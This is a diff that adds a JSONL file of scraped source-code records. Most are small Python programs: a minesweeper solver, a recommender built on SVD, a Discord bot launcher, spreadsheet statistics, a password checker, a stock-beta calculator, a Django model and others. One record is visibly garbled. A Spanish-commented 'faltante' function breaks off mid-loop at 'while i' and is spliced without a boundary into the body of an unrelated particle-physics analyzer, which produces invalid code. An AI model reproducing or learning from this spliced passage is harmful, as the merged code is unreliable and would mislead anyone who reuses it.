diff --git "a/4582.jsonl" "b/4582.jsonl" new file mode 100644--- /dev/null +++ "b/4582.jsonl" @@ -0,0 +1,652 @@ +{"seq_id":"266428833","text":"import logging\nimport re\n\n\ndef minesweeper(matrix):\n \"\"\"\n\n :param matrix: a matrix composed of '*' and '.'; mines are represented by '*'.\n :return: a matrix where '.' are replaced by the number of mines in contiguous cells\n \"\"\"\n logging.info(\"Mine sweeping\")\n # create a zero matrix of the same dimensions\n resulting_matrix = MinesweeperOutput.zeros(matrix.dimensions)\n\n # run through the input matrix until a * is found\n # add one to all contiguous cells where * was found\n for line_index in range(matrix.dimensions[0]):\n for column_index in range(matrix.dimensions[1]):\n if matrix.is_mine(line_index, column_index):\n resulting_matrix.mine_at(line_index, column_index)\n return resulting_matrix\n\n\nclass Minesweeper:\n def __init__(self, dimensions=(0, 0)):\n self.matrix = []\n self.dimensions = dimensions\n\n def is_mine(self, line_index, column_index):\n return self.matrix[line_index][column_index] == '*'\n\n\nclass MinesweeperOutput(Minesweeper):\n @classmethod\n def zeros(cls, dimensions):\n \"\"\"\n\n :param dimensions:\n :return: a zero matrix of dimensions\n \"\"\"\n result = MinesweeperOutput(dimensions)\n for line in range(dimensions[0]):\n line_array = []\n for column in range(dimensions[1]):\n line_array.append(0)\n result.matrix.append(line_array)\n\n return result\n\n def mine_at(self, line_index, column_index):\n \"\"\"\n\n :param line_index:\n :param column_index:\n :return:\n \"\"\"\n if self.is_cell_in_matrix(line_index, column_index) is False:\n raise IndexError('Out of bounds')\n self.matrix[line_index][column_index] = '*'\n # add one to all contiguous cells\n # OBS: It must be inside the index bounds\n contiguous_cells = [\n # upper-left\n (-1, -1),\n # upper-middle\n (-1, 0),\n # upper-right\n (-1, 1),\n # middle-left\n (0, -1),\n # middle-right\n (0, 1),\n # lower-left\n (1, -1),\n # lower-middle\n (1, 0),\n # lower-left\n (1, 1)\n ]\n for contiguous_cell in contiguous_cells:\n cc_line_index = line_index + contiguous_cell[0]\n cc_column_index = column_index + contiguous_cell[1]\n # verify if cell in in bound\n if self.is_cell_in_matrix(cc_line_index, cc_column_index) and \\\n self.is_cell_a_mine(cc_line_index, cc_column_index) is False:\n self.matrix[cc_line_index][cc_column_index] += 1\n return self\n\n def is_cell_in_matrix(self, line_index, column_index):\n return 0 <= line_index < self.dimensions[0] and 0 <= column_index < self.dimensions[1]\n\n def is_cell_a_mine(self, line_index, column_index):\n return self.matrix[line_index][column_index] == '*'\n\n\ndef transform_string_input_into_matrix(list_input_string):\n logging.info(\"Transforming string input into matrices\")\n matrices = []\n current_matrix = None\n\n matrix_dimensions_pattern = re.compile(\"^([0-9]+)\\s+([0-9]+)\")\n\n for line in list_input_string:\n pattern_match = matrix_dimensions_pattern.match(line)\n if pattern_match is not None:\n # if there is a dimension it indicates a new matrix is starting\n # append current matrix to matrices\n # start new matrix\n if current_matrix is not None:\n matrices.append(current_matrix)\n current_matrix = Minesweeper(dimensions=(int(pattern_match.group(1)),\n int(pattern_match.group(2))))\n else:\n character_array = []\n for character in line:\n character_array.append(character)\n current_matrix.matrix.append(character_array)\n matrices.append(current_matrix)\n return matrices\n\n\ndef construct_string_array_result(resulting_matrices):\n logging.info(\"Constructing string array result\")\n logging.info(resulting_matrices)\n matrix_count = 0\n output = []\n for matrix in resulting_matrices:\n matrix_count += 1\n output.append(\"Field #{}:\".format(matrix_count))\n for line in matrix.matrix:\n output.append(''.join(map(str, line)))\n output.append('')\n return output\n\n\ndef string_facade_minesweeper(list_input_string):\n logging.info(\"Starting minesweeper's string facade\")\n matrix_representations = transform_string_input_into_matrix(list_input_string)\n results = []\n for matrix in matrix_representations:\n results.append(minesweeper(matrix))\n\n return construct_string_array_result(results)\n\n","sub_path":"src/c1/minesweeper.py","file_name":"minesweeper.py","file_ext":"py","file_size_in_byte":4810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"446695888","text":"from rlkit.demos.collect_demo import collect_demos, SpaceMouseExpert\nfrom multiworld.core.image_env import ImageEnv\nfrom multiworld.envs.mujoco.cameras import sawyer_pusher_camera_upright_v2\n\nfrom multiworld.envs.mujoco.sawyer_xyz.sawyer_push_multiobj import SawyerMultiobjectEnv\nfrom multiworld.envs.pygame.point2d import Point2DWallEnv\n\nimport numpy as np\n\nif __name__ == '__main__':\n expert = SpaceMouseExpert(\n xyz_dims=2,\n xyz_remap=[1, 0, 2],\n xyz_scale=[-1, -1, -1],\n )\n\n env = SawyerMultiobjectEnv(\n num_objects=1,\n preload_obj_dict=[\n dict(color2=(0.1, 0.1, 0.9)),\n ],\n action_repeat=10,\n )\n env = ImageEnv(env,\n recompute_reward=False,\n # transpose=True,\n init_camera=sawyer_pusher_camera_upright_v2,\n )\n\n collect_demos(env, expert, \"pusher_demos_100b.npy\", 100)\n","sub_path":"experiments/ashvin/rss/pusher1/scale/collect_scale_demos.py","file_name":"collect_scale_demos.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"57401281","text":"import os\nimport random\nimport math\nfrom typing import List, Union\nfrom tqdm import tqdm\nimport traceback\n\nimport numpy as np\nimport torch\ndef calculate_hint(points, c_pseudo):\n #distance = np.linalg.norm(points-c_pseudo[None,:],axis=1)\n distance = []\n for i in range(len(points)):\n distance.append(np.linalg.norm(points[i]-c_pseudo))\n distance = np.array(distance)\n distance = torch.from_numpy(distance[None,:])\n hint_ls = []\n if(len(points )==2):\n bevel_edge_distance = np.linalg.norm(points[0]-points[1])\n hint_cos = (distance[0]** 2 +distance[1 ]** 2 -bevel_edge_distance**2) /( 2 *distance[0] *distance[1])\n if (hint_cos < 0):\n for i in range(len(points)):\n hint_ls.append(points[len(points ) - i -1])\n elif(len(points) ==3):\n for idx, pos in enumerate(points):\n hint_cos = None\n for idx1, pos1 in enumerate(points):\n if(idx1 !=idx):\n bevel_edge_distance = np.linalg.norm(pos-pos1)\n fenzi = distance[0][idx]**2 + distance[0][idx1]**2 - bevel_edge_distance**2\n cos_temp = (distance[0][idx]**2 + distance[0][idx1]**2 - bevel_edge_distance**2 ) / \\\n ( 2 *distance[0][idx] *distance[0][idx1])\n print(cos_temp)\n if hint_cos == None:\n hint_cos = cos_temp\n hint = pos1\n else:\n hint_cos = min(hint_cos, cos_temp)\n if(hint_cos == cos_temp):\n hint = pos1\n hint_ls.append(hint)\n return hint_ls\npoints = []\npoints.append([1,0,0.1])\npoints.append([0,1,0])\npoints.append([-1,0,0])\n#print(len(points))\npoints = np.array(points)\nprint(points)\nct = []\nct.append([0,0,0])\nct = np.array(ct)\nct = torch.from_numpy(ct)\nprint(ct[None,:])\n#print(points.size())\n#print(ct.size())\n#\n#print(\"hint\", hint)\ns = torch.from_numpy(points)\n\nhint = calculate_hint(s,ct)\nprint(s)\nprint(hint)","sub_path":"python_space/python_workspace/leetcode/cal_hint.py","file_name":"cal_hint.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"53207155","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\nfrom surprise import SVD\nfrom surprise.model_selection import cross_validate\nimport pandas as pd\nfrom surprise import Dataset\nfrom surprise import Reader\nimport sqlite3\nimport numpy as np\nfrom collections import defaultdict\n\n\ndef get_top_n(predictions, user_id, n=10):\n\n # First map the predictions to each user.\n top_n = defaultdict(list)\n bottom_n = defaultdict(list)\n for uid, iid, true_r, est, _ in predictions:\n top_n[uid].append((iid, est))\n\n # Then sort the predictions for each user and retrieve the k highest and lowest ones.\n for uid, user_ratings in top_n.items():\n user_ratings.sort(key=lambda x: x[1], reverse=True)\n top_n[uid] = user_ratings[:n]\n bottom_n[uid] = user_ratings[-n:]\n \n return top_n[user_id], bottom_n[user_id]\n\ndef recommend_exercise(user_id, db , n=10, rating_scale=(1, 10)):\n\n # conn = sqlite3.connect(db)\n # c = conn.cursor()\n\n # df = pd.read_sql_query(\"SELECT * from USER_EXERCISE\", conn)\n df = db\n reader = Reader(rating_scale=rating_scale)\n\n data = Dataset.load_from_df(df[[\"user_id\", \"exercise_id\", \"user_score\"]], reader)\n\n algo = SVD()\n\n trainingSet = data.build_full_trainset()\n algo.fit(trainingSet)\n \n innertorawid = []\n for innerid in range(0,trainingSet.n_items):\n innertorawid.append(trainingSet.to_raw_iid(innerid))\n \n print(trainingSet.to_raw_iid(0))\n \n testset = trainingSet.build_anti_testset()\n predictions = algo.test(testset)\n\n top_n, bottom_n = get_top_n(predictions, str(user_id), n=n)\n \n return [iid for (iid, _) in top_n], algo.qi, innertorawid","sub_path":"MyWebsite/AGR/AGRApi/recommender_algo_AGR.py","file_name":"recommender_algo_AGR.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"172739069","text":"def faltante(numeros):\n '''essa função recebe uma lista de numeros e 1 até N, e retorna oq está entre elas'''\n i = int()\n if 1 not in numeros:\n numeros.insert(0,1)\n return 1\n while i2 and (event.selectedElectrons[0].pdgId()==-event.selectedElectrons[1].pdgId() or self.eithercharge):\n event.llpair.append(Pair(event.selectedElectrons[0],event.selectedElectrons[1],23))\n if len(event.selectedMuons)>2 and (event.selectedMuons[0].pdgId()==-event.selectedMuons[1].pdgId() or self.eithercharge):\n event.llpair.append(Pair(event.selectedMuons[0],event.selectedMuons[1],23))\n if not event.llpair: return False\n if self.genfilter and self.cfg_comp.isMC:\n for i in event.llpair:\n i.leg1.xdaughter=self.checkgen(i.leg1)\n i.leg2.xdaughter=self.checkgen(i.leg2)\n return True\n\n\n\n\n \n \n\n \n\n\n \n \n","sub_path":"XZZ2l2nu/python/analyzers/XZZLeptonEffTree.py","file_name":"XZZLeptonEffTree.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"37549465","text":"from datetime import datetime\nfrom pytz import timezone\nfrom app.models import RunTime\nfrom app import db, models\nfrom app.lib.admin import rpi_job\nlogger = rpi_job.logger\n\nclass Schedule(rpi_job.RPIJob):\n def __init__(self):\n super().__init__()\n\n\n def refresh_times(self):\n times = goog.get_times()\n if not times:\n return\n db.session.execute(\"DELETE FROM run_time;\")\n db.session.commit()\n\n for time in times:\n db.session.add(RunTime(**{'start_time': time[0], 'end_time': time[1]}))\n db.session.commit()\n return times\n\n\n def check_time(self):\n times = models.RunTime.query.all()\n now_time = datetime.now(timezone('America/Los_Angeles')).time()\n for time in times:\n if now_time > time.start_time and now_time < time.end_time:\n return True\n return False\n\n\nif __name__ == '__main__':\n sched = Schedule()\n sched.refresh_times()\n sched.check_time()\n","sub_path":"hot_tub/app/lib/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"127424670","text":"\"\"\"\nQuick Introduction to pandas.\npandas is an important library for data analysis and modeling, and is widely used in TensorFlow coding.\nThis tutorial provides all the pandas information you need for this course. If you already know pandas,\nyou can skip this exercise.\n\"\"\"\n\nimport pandas as pd\n\n#print(pd.__version__)\n\n\ncity_names = pd.Series(['San Francisco', 'San Jose', 'Sacramento'])\npopulation = ([852469, 1015785, 485199])\n\npd.DataFrame({ 'City name': city_names, 'Population': population })\n# DataFrame 객체는 argument로 dict 자료형을 넘겨 만들 수 있다.\n","sub_path":"FirstStepWithTF/main_01.py","file_name":"main_01.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"115506781","text":"# By submitting this assignment, I agree to the following:\n# \"Aggies do not lie, cheat, or steal, or tolerate those who do\"\n# \"I have not given or received any unauthorized aid on this assignment\"\n#\n# Name: Luca Maddaleni, 330001030\n# Section: 273\n# Assignment: Divisors\n# Date: 9/24/2020\n\nfor i in range(2,101):\n for j in range(2,101):\n if i<= j and j%i == 0:\n print(i,\"divides\",j)","sub_path":"program2.py","file_name":"program2.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"186475654","text":"import pytest\n\nfrom tests import test_settings\n\n\n@pytest.fixture(scope='function', autouse=True)\ndef patch_fence_settings(monkeypatch):\n \"\"\"\n ``fence.blueprints.login`` loads in some variables from ``fence.settings``\n directly, so these need to be patched to their equivalents from the test\n settings.\n \"\"\"\n monkeypatch.setattr('fence.settings', test_settings)\n monkeypatch.setattr(\n 'fence.blueprints.login.default_idp',\n test_settings.ENABLED_IDENTITY_PROVIDERS['default']\n )\n monkeypatch.setattr(\n 'fence.blueprints.login.idps',\n test_settings.ENABLED_IDENTITY_PROVIDERS['providers']\n )\n","sub_path":"tests/login/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"551570675","text":"# OBJETIVOS \n# - gerar dados aleatorios e:\n# - Fazer a media de uma coluna \n# - Achar todas a modas e salvar em outra coluna\n# - fazer histograma das modas\n\n\n\nfrom openpyxl import * # importar tds os modulos para planilhas excel\nfrom openpyxl.chart import BarChart, Reference\nfrom myfuncs import *\n\nplanilha = Workbook() # cria uma nova planilha\nfolha = planilha.active # pegar folha ativa\n\nNUMEROS = 1 # na primeira coluna vai ficar os numeros aleatorios\nORDENADOS = 2\nMEDIA = 3\nMODA = 4\nMODA_REPETICOES = 5\n\n\nnumeros_aleatorios = gerarNumerosAleatorios(min = 0,max = 6100, n = 61) # gera 600 numeros aleatorios de 0 ate um 120\nnumeros_ordenados = numeros_aleatorios[0:]\nnumeros_ordenados.sort(reverse = True)\nmediana = 0\n\nif len(numeros_ordenados)==0:\n\tmediana = (numeros_ordenados[len(numeros_ordenados)/2] + numeros_ordenados[len(numeros_ordenados)/2-1])/2 \nelse:\n\tmediana = numeros_ordenados[int(len(numeros_ordenados)/2)]\n\n\nlength = len(numeros_aleatorios)+1\n#colocando lista na planilha\nfor coluna in folha.iter_cols(min_col = NUMEROS,max_col = NUMEROS,min_row = 2,max_row = length): \n\tfor celula in coluna:\n\t\tcelula.value = numeros_aleatorios.pop()# coloca os numeros na primeira coluna\n\tbreak\n\n#colocando segunda lista na planilha\nfor coluna in folha.iter_cols(min_col = ORDENADOS,max_col = ORDENADOS,min_row = 2,max_row = length): \n\tfor celula in coluna:\n\t\tcelula.value = numeros_ordenados.pop()# coloca os numeros na primeira coluna\n\tbreak\n\n\nsoma,size,moda = 0,0,{}\n\nfor coluna in folha.iter_cols(min_col = NUMEROS,max_col = NUMEROS,min_row = 2,max_row = length): \n\tfor celula in coluna:\n\t\tsoma+= float(celula.value)\n\t\tsize+=1\n\t\tif celula.value in moda.keys():\n\t\t\tmoda[celula.value] += 1\n\t\telse:\n\t\t\tmoda.update({celula.value:1})\t\t\n\tbreak\n\nmoda = sortDict(moda)\nfolha.cell(2,MEDIA).value = soma/size # achado a media\nfolha.cell(4,MEDIA).value = mediana # achado a media\nfolha.cell(1,MODA).value = 'MODA'\nfolha.cell(1,MODA_REPETICOES).value = 'REPETIÇÕES'\n\nlength_moda = len(moda)\nfor line in folha.iter_rows(min_col = MODA,max_col = MODA_REPETICOES,min_row = 2,max_row = len(moda)+1): \n\tline[0].value,line[1].value = moda.popitem()\n\n\t\nfolha.cell(1,NUMEROS).value = 'Numeros aleatórios'\nfolha.cell(1,ORDENADOS).value = 'ORDENADOS'\nfolha.cell(1,MEDIA).value = 'Media'\nfolha.cell(1,MEDIA).value = 'Media'\nfolha.cell(3,MEDIA).value = 'Mediana'\n\n#criando grafico de barras\nbarGraph = BarChart()\ndata = Reference(worksheet=folha,\n min_row=1,\n max_row= length_moda,\n min_col=MODA,\n max_col=MODA_REPETICOES)\nbarGraph.add_data(data,titles_from_data=True)\n\nfolha.add_chart(barGraph,'A1')\n\nplanilha.save(filename = 'aplicacao.xlsx')\n\n\n\n\n\n","sub_path":"programas/excel/aplicacoes.py","file_name":"aplicacoes.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"458833875","text":"import json\nimport os\nimport sys\nimport traceback\nfrom glob import glob\nfrom shutil import copyfile\n\nimport discord\nfrom discord.ext import commands\n\nfrom cogs.utils.shortcuts import quick_embed\n\ndef load_config() -> dict:\n try:\n return json.load(open(os.path.join('cogs', 'store', 'config.json')))\n except FileNotFoundError:\n print('The config file was not found, let me run the setup')\n config = {\n 'discord': {\n 'token': input('Enter bot token'),\n 'prefix': input('Enter bot prefix'),\n 'activity': input('Enter default bot activity'),\n 'owner': input('Enter the owners id')\n },\n\n 'wolfram': {\n 'key': input('Enter wolfram-alpha key (optional)')\n },\n\n 'github': {\n 'key': input('Enter a github token to enable some commands that send large messages (optional)')\n },\n\n 'count': 0,\n }\n json.dump(config, open(os.path.join('cogs', 'store', 'config.json'), 'w'), indent = 4)\n return config\n\nclass ClayBot(commands.Bot):\n def __init__(self, command_prefix: str, activity: discord.Game, owner_id: int, config: dict):\n super(commands.Bot, self).__init__(\n command_prefix = command_prefix, \n activity = activity, \n owner_id = owner_id,\n case_insensitive = True\n )\n self.config = config\n self.__version__ = __version__\n\ndef make_bot(config: dict) -> ClayBot:\n return ClayBot(\n command_prefix = commands.when_mentioned_or(config['discord']['prefix']),\n activity = discord.Game(name = config['discord']['activity']),\n owner_id = int(config['discord']['owner']),\n config = config\n )\n\n__version__ = '0.4.11'\n\nasync def on_ready():\n print('''\nname: {0.name}#{0.discriminator}\nid: {0.id}\ninvite: https://discordapp.com/oauth2/authorize?client_id={0.id}&scope=bot&permissions=66321471\ndiscord.py version: {1.__version__}\nbot version: {2}\nbot ready'''.format(bot.user, discord, __version__))\n for arg in sys.argv:\n if '--rcid' in arg:\n i = int(arg.replace('--rcid=', ''))\n ch = bot.get_channel(i)\n await ch.send('Restart complete.')\n\nignored_errors = [\n commands.errors.CheckFailure,\n commands.errors.CommandNotFound\n]\n\nasync def after_any_command(ctx):\n try:\n logs.write('{0.author.name}#{0.author.id} invoked command {0.invoked_with}\\n'.format(ctx))\n logs.flush()\n except OSError: #during a restart the log file is closed externally s it can error here\n pass\n\ndef load_cogs(bot: ClayBot) -> None:\n for cog in glob(os.path.join('cogs', '*.py')): #skip __init__ as its not a cog\n if cog in [os.path.join('cogs', '__init__.py')]:\n continue\n\n try:\n bot.load_extension(cog.replace(os.sep, '.')[:-3])#turn cogs/file.py info cogs.file\n except Exception as e:\n print(f'{cog} failed to load becuase: {e}')\n\ndef backup_files() -> None:\n os.makedirs(os.path.join('cogs', 'store', 'backup'), exist_ok = True)\n\n #backup all the config files\n for storefile in glob(os.path.join('cogs', 'store', '*.json')):\n copyfile(storefile, os.path.join('cogs', 'store', 'backup', os.path.basename(storefile)))\n print(f'Backed up {storefile}')\n\nif __name__ == '__main__':\n if not os.path.isdir(os.path.join('cogs', 'store')):\n os.mkdir(os.path.join('cogs', 'store'))\n\n try:\n logs = open(os.path.join('cogs', 'store', 'claymore.log'), 'a')\n except FileNotFoundError:\n logs = open(os.path.join('cogs', 'store', 'claymore.log'), 'w')\n\n config: dict = load_config()\n bot: ClayBot = make_bot(config)\n load_cogs(bot)\n backup_files()\n\n bot.add_listener(on_ready)\n\n #now you may ask why these are in here when add_listener exists\n #this seems to be a bug with discord.py as on_message would fire 3 or 4 times per message\n @bot.event\n async def on_message(context):\n await bot.process_commands(context)\n\n @bot.event\n async def on_command_error(ctx, exception):\n if any(isinstance(exception, err) for err in ignored_errors):\n return\n\n if (\n isinstance(exception, commands.errors.MissingRequiredArgument) or\n isinstance(exception, commands.errors.BadArgument)\n ):\n embed = quick_embed(ctx, title = 'Incorrect command usage', description = f'When using command {ctx.command.name}')\n embed.add_field(name = 'The correct usage is', value = ctx.command.signature)\n return await ctx.send(embed = embed)\n\n elif isinstance(exception, commands.CommandInvokeError):\n if 'Cannot connect to host' in str(exception.original):#there must be a better way of checking error types\n return await ctx.send('My internet connection to that site has been blocked')\n\n elif isinstance(exception, commands.errors.CommandOnCooldown):\n return await ctx.send(exception)\n\n elif isinstance(exception.original, TimeoutError):\n return await ctx.send(f'Command {ctx.invoked_with} timed out')\n\n traceback.print_exception(type(exception), exception, exception.__traceback__, file=sys.stderr)\n\n bot.after_invoke(after_any_command)\n\n #no point catching exceptions here\n bot.run(config['discord']['token'])\n\n","sub_path":"source/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"451646828","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('news', '0018_newsitem_funding'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='newsitem',\n name='funding',\n field=models.CharField(help_text='Optional: information on who is funding this research', max_length=240, verbose_name=b'funding', blank=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='newsitem',\n name='published',\n field=models.BooleanField(default=True, help_text='Check to allow this news post to be publically visible', verbose_name=b'published'),\n preserve_default=True,\n ),\n ]\n","sub_path":"news/migrations/0019_auto_20150901_1423.py","file_name":"0019_auto_20150901_1423.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"516747665","text":"from tkinter import*\n\ndef button_press(num):\n global equation_text\n \n equation_text=equation_text+str(num)\n \n equation_label.set(equation_text)\n\ndef equals():\n try:\n global equation_text\n total=str(eval(equation_text))\n equation_label.set(total)\n equation_text=total\n except ZeroDivisionError:\n equation_label.set(\"arithamatic error\")\n equation_text=\"\"\n except SyntaxError:\n equation_label.set(\"syntax error\")\n equation_text=\"\"\n\ndef clear():\n global equation_text\n equation_label.set(\"\")\n equation_text=\"\"\n\nwindow=Tk()\n\nwindow.title(\"Mushthak calculator \")\nwindow.geometry(\"500x500\")\n\n\nequation_text=\"\"\n\nequation_label=StringVar()\n\nlabel=Label(window,textvariable=equation_label,font=('consolas',20),bg=\"white\",width=24,height=2)\nlabel.pack()\n\nfream=Frame(window)\nfream.pack()\n\nbutton1=Button(fream,text=1,height=4,width=9,font=35,command=lambda:button_press(1))\nbutton1.grid(row=0,column=0)\n\nbutton2=Button(fream,text=2,height=4,width=9,font=35,command=lambda:button_press(2))\nbutton2.grid(row=0,column=1)\n\nbutton3=Button(fream,text=3,height=4,width=9,font=35,command=lambda:button_press(3))\nbutton3.grid(row=0,column=2)\n\nbutton4=Button(fream,text=4,height=4,width=9,font=35,command=lambda:button_press(4))\nbutton4.grid(row=1,column=0)\n\nbutton5=Button(fream,text=5,height=4,width=9,font=35,command=lambda:button_press(5))\nbutton5.grid(row=1,column=1)\n\nbutton6=Button(fream,text=6,height=4,width=9,font=35,command=lambda:button_press(6))\nbutton6.grid(row=1,column=2)\n\nbutton7=Button(fream,text=7,height=4,width=9,font=35,command=lambda:button_press(7))\nbutton7.grid(row=2,column=0)\n\nbutton8=Button(fream,text=8,height=4,width=9,font=35,command=lambda:button_press(8))\nbutton8.grid(row=2,column=1)\n\nbutton9=Button(fream,text=9,height=4,width=9,font=35,command=lambda:button_press(9))\nbutton9.grid(row=2,column=2)\n\nbutton0=Button(fream,text=0,height=4,width=9,font=35,command=lambda:button_press(0))\nbutton0.grid(row=3,column=1)\n\nplus=Button(fream,text='+',height=4,width=9,font=35,command=lambda:button_press('+'))\nplus.grid(row=0,column=3)\n\nminus=Button(fream,text='-',height=4,width=9,font=35,command=lambda:button_press('-'))\nminus.grid(row=1,column=3)\n\nmultiply=Button(fream,text='*',height=4,width=9,font=35,command=lambda:button_press('*'))\nmultiply.grid(row=2,column=3)\n\ndivided=Button(fream,text='/',height=4,width=9,font=35,command=lambda:button_press('/'))\ndivided.grid(row=3,column=3)\n\nequal=Button(fream,text='=',height=4,width=9,font=35,command=equals)\nequal.grid(row=3,column=2)\n\ndecimal=Button(fream,text='.',height=4,width=9,font=35,command=lambda:button_press('.'))\ndecimal.grid(row=3,column=0)\n\nclear=Button(window,text='clear',height=4,width=9,font=35,command=clear)\nclear.pack()\n\nwindow.mainloop()","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"436306290","text":"from abstract.expresion import * \nfrom tools.tabla_tipos import *\nfrom tools.tabla_simbolos import *\nfrom abstract.retorno import *\nfrom storage import jsonMode as funciones\nfrom tools.console_text import *\nfrom tools.tabla_simbolos import *\n\nclass tableId(expresion):\n def __init__(self, valor, line, column, tipo, num_nodo):\n super().__init__(line, column)\n self.valor = valor\n self.tipo = tipo_primitivo.TABLA\n\n #Nodo AST \n self.nodo = nodo_AST('ID', num_nodo)\n self.nodo.hijos.append(nodo_AST(str(valor), num_nodo+1))\n\n #Gramatica\n self.grammar_ = ' ID ::= ' + str(valor) +' ID = new ID(' + str(valor) + '); '\n\n def ejecutar(self, list_tb):\n actualDB = get_actual_use()\n\n for item in list_tb:\n extract_col = ts.existe_col(actualDB, item, self.valor)\n\n if extract_col == True:\n getdata = funciones.extractTable(actualDB,item)\n index_col = ts.get_pos_col(actualDB, item, self.valor)\n encabezados=ts.field_names(actualDB,item)\n return retorno(getdata, self.tipo, True, index_col,encabezados)\n\n encabezados=[]\n extract_tb = ts.get_tb(actualDB, self.valor)\n\n encabezados=ts.field_names(actualDB,self.valor)\n getdata = funciones.extractTable(actualDB,self.valor)\n return retorno(getdata, self.tipo, True, encabezados)","sub_path":"parser/team23/expresion/tableId.py","file_name":"tableId.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"380324182","text":"# checkio\r\n# Home Insel\r\n# House Password\r\n\r\n# Vorgaben:\r\n# The password will be considered strong enough if its length is greater than\r\n# or equal to 10 symbols, it has at least one digit, as well as containing one\r\n# uppercase letter and one lowercase letter in it. The password contains only\r\n# ASCII latin letters or digits.\r\n\r\n#Input: A password as a string.\r\n#Output: Is the password safe or not as a boolean or any data type that can\r\n# be converted and processed as a boolean. In the results you will see the\r\n# converted results.\r\n\r\ndef checkio(data):\r\n #Bedingungen überprüfen\r\n\r\n length = False\r\n lower = False\r\n upper = False\r\n digit = False\r\n\r\n safe = False\r\n\r\n if len(data) >= 10:\r\n length = True\r\n #print(length)\r\n\r\n for c in data:\r\n if c.islower():\r\n lower = True\r\n elif c.isupper():\r\n upper = True\r\n elif c.isdigit():\r\n digit = True\r\n else:\r\n return False\r\n\r\n safe = length and lower and upper and digit\r\n return safe\r\n\r\n#print (checkio('QWERTYqwerty'))\r\n#Some hints\r\n#Just check all conditions\r\n\r\n\r\nif __name__ == '__main__':\r\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\r\n assert checkio('A1213pokl') == False, \"1st example\"\r\n assert checkio('bAse730onE4') == True, \"2nd example\"\r\n assert checkio('asasasasasasasaas') == False, \"3rd example\"\r\n assert checkio('QWERTYqwerty') == False, \"4th example\"\r\n assert checkio('123456123456') == False, \"5th example\"\r\n assert checkio('QwErTy911poqqqq') == True, \"6th example\"\r\n print(\"Coding complete? Click 'Check' to review your tests and earn cool rewards!\")\r\n","sub_path":"house-password.py","file_name":"house-password.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"415821747","text":"import numpy as np\nimport pandas as pd\nfrom pandas_datareader import data as dt\ndef beta(name):\n l=[]\n if \".NS\" in name:\n l=[name,\"^NSEI\"]\n elif \".BO\" in name:\n l=[name,\"^BSESN\"]\n else:\n l=[]\n my_data = pd.DataFrame()\n for i in l:\n my_data[i] = dt.DataReader(i, data_source=\"yahoo\", start=\"2010-1-1\")[\"Adj Close\"]\n log_return = np.log(my_data / my_data.shift(1))\n cov_market = (log_return.cov() * 250).iloc[0, 1]\n Market_Covariance=(cov_market)\n variance_market = log_return[l[1]].var() * 250\n Market_Variance=variance_market\n beta = cov_market / variance_market\n Beta_Stock=(beta)\n volatility_of_stock=(Beta_Stock*100)-100\n D={\"Cov Market wrt Stock\":Market_Covariance,\"Var Market\":Market_Variance,\"Beta\":beta,\"Volatility_of_stock\":volatility_of_stock}\n return D\n","sub_path":"StockWeb/StockWeb_F/Beta.py","file_name":"Beta.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"412809204","text":"#encoding=utf8\nfrom django.db import models\n\n# Create your models here.\nclass Client(models.Model):\n _name = models.CharField(max_length=100)\n _cert_content = models.CharField(max_length=100)\n _cert_expired_time = models.DateField()\n _recharge_or_not = models.BooleanField(default=False)\n _serve_time_range = models.DateField()\n _contract_end_time = models.DateField()\n _current_contact_number = models.CharField(max_length=20)\n _history_contact_number = models.CharField(max_length=20)\n\n def __unicode__(self):\n return self._name\n\n def is_cert_expired(self):\n \"Return if the client's certificate expired or no\"\n import datetime\n if self._cert_expired_time > datetime.date(2012,1,1).today():\n return True\n else:\n return False\n\n def is_client_going_recharge(self):\n \"Same as func name\"\n return self._recharge_or_not\n\n def get_all_client(self):\n return self.object.all()\n","sub_path":"myapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} 